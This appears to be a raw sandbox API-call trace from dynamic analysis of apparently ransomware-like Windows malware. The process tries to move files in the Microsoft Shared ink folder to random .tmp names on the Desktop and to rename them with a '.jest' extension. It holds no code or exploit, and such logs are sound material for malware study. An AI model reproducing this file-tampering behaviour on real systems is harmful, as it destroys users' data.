0x1156327 [0145.498] IsWindowVisible (hWnd=0x30268) returned 0 [0145.498] Sleep (dwMilliseconds=0x0) [0145.498] GetFullPathNameA (in: lpFileName="EACYe_QoMMlAo35y_C3n3MQTNxM6W8Iimlmryf8RfUJ3dtB_vUVvnBJ nKM5vP_5DtrJruKBymI9PGmK9TMEWGS WyR MoaLLVx6.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\EACYe_QoMMlAo35y_C3n3MQTNxM6W8Iimlmryf8RfUJ3dtB_vUVvnBJ nKM5vP_5DtrJruKBymI9PGmK9TMEWGS WyR MoaLLVx6.tmp", lpFilePart=0x18e708*="EACYe_QoMMlAo35y_C3n3MQTNxM6W8Iimlmryf8RfUJ3dtB_vUVvnBJ nKM5vP_5DtrJruKBymI9PGmK9TMEWGS WyR MoaLLVx6.tmp") returned 0x8e [0145.498] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml", lpFilePart=0x18e708*="ipskor.xml") returned 0x3d [0145.498] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\EACYe_QoMMlAo35y_C3n3MQTNxM6W8Iimlmryf8RfUJ3dtB_vUVvnBJ nKM5vP_5DtrJruKBymI9PGmK9TMEWGS WyR MoaLLVx6.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\eacye_qommlao35y_c3n3mqtnxm6w8iimlmryf8rfuj3dtb_vuvvnbj nkm5vp_5dtrjrukbymi9pgmk9tmewgs wyr moallvx6.tmp")) returned 0 [0145.499] GetLastError () returned 0x5 [0145.499] GetLastError () returned 0x5 [0145.499] SetLastError (dwErrCode=0x5) [0145.499] GetLastError () returned 0x5 [0145.499] SetLastError (dwErrCode=0x5) [0145.499] GetLastError () returned 0x5 [0145.499] SetLastError (dwErrCode=0x5) [0145.499] GetFullPathNameA (in: lpFileName="EACYe_QoMMlAo35y_C3n3MQTNxM6W8Iimlmryf8RfUJ3dtB_vUVvnBJ nKM5vP_5DtrJruKBymI9PGmK9TMEWGS WyR MoaLLVx6.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\EACYe_QoMMlAo35y_C3n3MQTNxM6W8Iimlmryf8RfUJ3dtB_vUVvnBJ nKM5vP_5DtrJruKBymI9PGmK9TMEWGS WyR MoaLLVx6.tmp", lpFilePart=0x18e6e4*="EACYe_QoMMlAo35y_C3n3MQTNxM6W8Iimlmryf8RfUJ3dtB_vUVvnBJ nKM5vP_5DtrJruKBymI9PGmK9TMEWGS WyR MoaLLVx6.tmp") returned 0x8e [0145.499] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\EACYe_QoMMlAo35y_C3n3MQTNxM6W8Iimlmryf8RfUJ3dtB_vUVvnBJ nKM5vP_5DtrJruKBymI9PGmK9TMEWGS WyR MoaLLVx6.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x59434145, cFileName="e_QoMMlAo35y_C3n3MQTNxM6W8Iimlmryf8RfUJ3dtB_vUVvnBJ nKM5vP_5DtrJruKBymI9PGmK9TMEWGS WyR MoaLLVx6.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0145.499] GetLastError () returned 0x2 [0145.499] GetLastError () returned 0x2 [0145.499] SetLastError (dwErrCode=0x2) [0145.500] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0145.500] CoFreeUnusedLibraries () [0145.500] GetTickCount () returned 0x1156327 [0145.500] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0145.500] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0145.500] GetTickCount () returned 0x1156327 [0145.500] IsWindowVisible (hWnd=0x30268) returned 0 [0145.500] Sleep (dwMilliseconds=0x0) [0145.500] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml.jest")) returned 0 [0145.501] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml", lpFilePart=0x18e6d8*="ipsnld.xml") returned 0x3d [0145.501] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d2e59f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d2e59f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa42, dwReserved0=0x57, dwReserved1=0x0, cFileName="ipsnld.xml", cAlternateFileName="")) returned 0x143ce48 [0145.501] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0145.501] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0145.501] VarBstrFromR4 (in: fltIn=0x47944da2, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75931.27") returned 0x0 [0145.501] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0145.501] CoFreeUnusedLibraries () [0145.501] GetTickCount () returned 0x1156327 [0145.502] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0145.502] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0145.502] GetTickCount () returned 0x1156327 [0145.502] IsWindowVisible (hWnd=0x30268) returned 0 [0145.502] Sleep (dwMilliseconds=0x0) [0145.502] GetFullPathNameA (in: lpFileName="46iNltsecbWAEAwTm3tFa6VUB3Xh_8i8fVXSl9yGNLn1e7FwNQxG1rThVXtycCXXD3z5SQb7s4tYMnokJ7nNERZ_SiX2tKnPSi v.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\46iNltsecbWAEAwTm3tFa6VUB3Xh_8i8fVXSl9yGNLn1e7FwNQxG1rThVXtycCXXD3z5SQb7s4tYMnokJ7nNERZ_SiX2tKnPSi v.tmp", lpFilePart=0x18e708*="46iNltsecbWAEAwTm3tFa6VUB3Xh_8i8fVXSl9yGNLn1e7FwNQxG1rThVXtycCXXD3z5SQb7s4tYMnokJ7nNERZ_SiX2tKnPSi v.tmp") returned 0x8f [0145.502] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml", lpFilePart=0x18e708*="ipsnld.xml") returned 0x3d [0145.502] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\46iNltsecbWAEAwTm3tFa6VUB3Xh_8i8fVXSl9yGNLn1e7FwNQxG1rThVXtycCXXD3z5SQb7s4tYMnokJ7nNERZ_SiX2tKnPSi v.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\46inltsecbwaeawtm3tfa6vub3xh_8i8fvxsl9ygnln1e7fwnqxg1rthvxtyccxxd3z5sqb7s4tymnokj7nnerz_six2tknpsi v.tmp")) returned 0 [0145.502] GetLastError () returned 0x5 [0145.502] GetLastError () returned 0x5 [0145.502] SetLastError (dwErrCode=0x5) [0145.502] GetLastError () returned 0x5 [0145.503] SetLastError (dwErrCode=0x5) [0145.503] GetLastError () returned 0x5 [0145.503] SetLastError (dwErrCode=0x5) [0145.503] GetFullPathNameA (in: lpFileName="46iNltsecbWAEAwTm3tFa6VUB3Xh_8i8fVXSl9yGNLn1e7FwNQxG1rThVXtycCXXD3z5SQb7s4tYMnokJ7nNERZ_SiX2tKnPSi v.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\46iNltsecbWAEAwTm3tFa6VUB3Xh_8i8fVXSl9yGNLn1e7FwNQxG1rThVXtycCXXD3z5SQb7s4tYMnokJ7nNERZ_SiX2tKnPSi v.tmp", lpFilePart=0x18e6e4*="46iNltsecbWAEAwTm3tFa6VUB3Xh_8i8fVXSl9yGNLn1e7FwNQxG1rThVXtycCXXD3z5SQb7s4tYMnokJ7nNERZ_SiX2tKnPSi v.tmp") returned 0x8f [0145.503] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\46iNltsecbWAEAwTm3tFa6VUB3Xh_8i8fVXSl9yGNLn1e7FwNQxG1rThVXtycCXXD3z5SQb7s4tYMnokJ7nNERZ_SiX2tKnPSi v.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x4e693634, cFileName="ltsecbWAEAwTm3tFa6VUB3Xh_8i8fVXSl9yGNLn1e7FwNQxG1rThVXtycCXXD3z5SQb7s4tYMnokJ7nNERZ_SiX2tKnPSi v.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0145.503] GetLastError () returned 0x2 [0145.503] GetLastError () returned 0x2 [0145.503] SetLastError (dwErrCode=0x2) [0145.503] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0145.503] CoFreeUnusedLibraries () [0145.503] GetTickCount () returned 0x1156327 [0145.503] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0145.504] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0145.504] GetTickCount () returned 0x1156327 [0145.504] IsWindowVisible (hWnd=0x30268) returned 0 [0145.504] Sleep (dwMilliseconds=0x0) [0145.504] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml.jest")) returned 0 [0145.504] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml", lpFilePart=0x18e6d8*="ipsnor.xml") returned 0x3d [0145.504] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d2e59f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d2e59f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa14, dwReserved0=0x57, dwReserved1=0x0, cFileName="ipsnor.xml", cAlternateFileName="")) returned 0x143ce48 [0145.504] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0145.504] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da7ec, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0145.505] VarBstrFromR4 (in: fltIn=0x47944da2, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75931.27") returned 0x0 [0145.505] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0145.505] CoFreeUnusedLibraries () [0145.505] GetTickCount () returned 0x1156327 [0145.505] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0145.505] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0145.505] GetTickCount () returned 0x1156327 [0145.505] IsWindowVisible (hWnd=0x30268) returned 0 [0145.505] Sleep (dwMilliseconds=0x0) [0145.506] GetFullPathNameA (in: lpFileName="nONY93vOC3WSAtoVPiqUvoA3 tpVAj9b8kLsWXS1vvl4pyWjOmSGInkc7ceuWknFSkZh EBYu yv_uQfmnT KSOdnbwxr26U1YqdD.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\nONY93vOC3WSAtoVPiqUvoA3 tpVAj9b8kLsWXS1vvl4pyWjOmSGInkc7ceuWknFSkZh EBYu yv_uQfmnT KSOdnbwxr26U1YqdD.tmp", lpFilePart=0x18e708*="nONY93vOC3WSAtoVPiqUvoA3 tpVAj9b8kLsWXS1vvl4pyWjOmSGInkc7ceuWknFSkZh EBYu yv_uQfmnT KSOdnbwxr26U1YqdD.tmp") returned 0x8f [0145.506] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml", lpFilePart=0x18e708*="ipsnor.xml") returned 0x3d [0145.506] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\nONY93vOC3WSAtoVPiqUvoA3 tpVAj9b8kLsWXS1vvl4pyWjOmSGInkc7ceuWknFSkZh EBYu yv_uQfmnT KSOdnbwxr26U1YqdD.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\nony93voc3wsatovpiquvoa3 tpvaj9b8klswxs1vvl4pywjomsginkc7ceuwknfskzh ebyu yv_uqfmnt ksodnbwxr26u1yqdd.tmp")) returned 0 [0145.506] GetLastError () returned 0x5 [0145.506] GetLastError () returned 0x5 [0145.506] SetLastError (dwErrCode=0x5) [0145.506] GetLastError () returned 0x5 [0145.506] SetLastError (dwErrCode=0x5) [0145.506] GetLastError () returned 0x5 [0145.506] SetLastError (dwErrCode=0x5) [0145.507] GetFullPathNameA (in: lpFileName="nONY93vOC3WSAtoVPiqUvoA3 tpVAj9b8kLsWXS1vvl4pyWjOmSGInkc7ceuWknFSkZh EBYu yv_uQfmnT KSOdnbwxr26U1YqdD.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\nONY93vOC3WSAtoVPiqUvoA3 tpVAj9b8kLsWXS1vvl4pyWjOmSGInkc7ceuWknFSkZh EBYu yv_uQfmnT KSOdnbwxr26U1YqdD.tmp", lpFilePart=0x18e6e4*="nONY93vOC3WSAtoVPiqUvoA3 tpVAj9b8kLsWXS1vvl4pyWjOmSGInkc7ceuWknFSkZh EBYu yv_uQfmnT KSOdnbwxr26U1YqdD.tmp") returned 0x8f [0145.507] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\nONY93vOC3WSAtoVPiqUvoA3 tpVAj9b8kLsWXS1vvl4pyWjOmSGInkc7ceuWknFSkZh EBYu yv_uQfmnT KSOdnbwxr26U1YqdD.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x594e4f6e, cFileName="93vOC3WSAtoVPiqUvoA3 tpVAj9b8kLsWXS1vvl4pyWjOmSGInkc7ceuWknFSkZh EBYu yv_uQfmnT KSOdnbwxr26U1YqdD.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0145.507] GetLastError () returned 0x2 [0145.507] GetLastError () returned 0x2 [0145.507] SetLastError (dwErrCode=0x2) [0145.507] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0145.507] CoFreeUnusedLibraries () [0145.507] GetTickCount () returned 0x1156327 [0145.507] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0145.507] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0145.507] GetTickCount () returned 0x1156327 [0145.507] IsWindowVisible (hWnd=0x30268) returned 0 [0145.507] Sleep (dwMilliseconds=0x0) [0145.508] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml.jest")) returned 0 [0145.509] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml", lpFilePart=0x18e6d8*="ipsplk.xml") returned 0x3d [0145.509] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d546fc, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d546fc, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa28, dwReserved0=0x57, dwReserved1=0x0, cFileName="ipsplk.xml", cAlternateFileName="")) returned 0x143ce48 [0145.509] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0145.509] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x1436ab4, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0145.509] VarBstrFromR4 (in: fltIn=0x47944da2, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75931.27") returned 0x0 [0145.509] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0145.509] CoFreeUnusedLibraries () [0145.509] GetTickCount () returned 0x1156327 [0145.510] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0145.510] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0145.510] GetTickCount () returned 0x1156327 [0145.510] IsWindowVisible (hWnd=0x30268) returned 0 [0145.510] Sleep (dwMilliseconds=0x0) [0145.510] GetFullPathNameA (in: lpFileName="S7j59LmoJhHsxNsiiGQ3BzjIzu8vvebLXc yHSsYHQwW9jez0VzzsWt-5XbVvFm_Vd69WXry4AVdJOs1as70dfh9sQLYqGLokKxoC.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\S7j59LmoJhHsxNsiiGQ3BzjIzu8vvebLXc yHSsYHQwW9jez0VzzsWt-5XbVvFm_Vd69WXry4AVdJOs1as70dfh9sQLYqGLokKxoC.tmp", lpFilePart=0x18e708*="S7j59LmoJhHsxNsiiGQ3BzjIzu8vvebLXc yHSsYHQwW9jez0VzzsWt-5XbVvFm_Vd69WXry4AVdJOs1as70dfh9sQLYqGLokKxoC.tmp") returned 0x8f [0145.510] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml", lpFilePart=0x18e708*="ipsplk.xml") returned 0x3d [0145.510] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\S7j59LmoJhHsxNsiiGQ3BzjIzu8vvebLXc yHSsYHQwW9jez0VzzsWt-5XbVvFm_Vd69WXry4AVdJOs1as70dfh9sQLYqGLokKxoC.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\s7j59lmojhhsxnsiigq3bzjizu8vveblxc yhssyhqww9jez0vzzswt-5xbvvfm_vd69wxry4avdjos1as70dfh9sqlyqglokkxoc.tmp")) returned 0 [0145.511] GetLastError () returned 0x5 [0145.511] GetLastError () returned 0x5 [0145.511] SetLastError (dwErrCode=0x5) [0145.511] GetLastError () returned 0x5 [0145.511] SetLastError (dwErrCode=0x5) [0145.511] GetLastError () returned 0x5 [0145.511] SetLastError (dwErrCode=0x5) [0145.511] GetFullPathNameA (in: lpFileName="S7j59LmoJhHsxNsiiGQ3BzjIzu8vvebLXc yHSsYHQwW9jez0VzzsWt-5XbVvFm_Vd69WXry4AVdJOs1as70dfh9sQLYqGLokKxoC.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\S7j59LmoJhHsxNsiiGQ3BzjIzu8vvebLXc yHSsYHQwW9jez0VzzsWt-5XbVvFm_Vd69WXry4AVdJOs1as70dfh9sQLYqGLokKxoC.tmp", lpFilePart=0x18e6e4*="S7j59LmoJhHsxNsiiGQ3BzjIzu8vvebLXc yHSsYHQwW9jez0VzzsWt-5XbVvFm_Vd69WXry4AVdJOs1as70dfh9sQLYqGLokKxoC.tmp") returned 0x8f [0145.511] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\S7j59LmoJhHsxNsiiGQ3BzjIzu8vvebLXc yHSsYHQwW9jez0VzzsWt-5XbVvFm_Vd69WXry4AVdJOs1as70dfh9sQLYqGLokKxoC.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x356a3753, cFileName="9LmoJhHsxNsiiGQ3BzjIzu8vvebLXc yHSsYHQwW9jez0VzzsWt-5XbVvFm_Vd69WXry4AVdJOs1as70dfh9sQLYqGLokKxoC.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0145.511] GetLastError () returned 0x2 [0145.511] GetLastError () returned 0x2 [0145.511] SetLastError (dwErrCode=0x2) [0145.511] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0145.512] CoFreeUnusedLibraries () [0145.512] GetTickCount () returned 0x1156336 [0145.512] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0145.512] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0145.512] GetTickCount () returned 0x1156336 [0145.512] IsWindowVisible (hWnd=0x30268) returned 0 [0145.512] Sleep (dwMilliseconds=0x0) [0145.512] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml.jest")) returned 0 [0145.512] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml", lpFilePart=0x18e6d8*="ipsptb.xml") returned 0x3d [0145.512] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d546fc, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d546fc, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8c6, dwReserved0=0x57, dwReserved1=0x0, cFileName="ipsptb.xml", cAlternateFileName="")) returned 0x143ce48 [0145.512] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0145.513] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da79c, cchWideChar=1 | out: lpWideCharStr="") returned 1 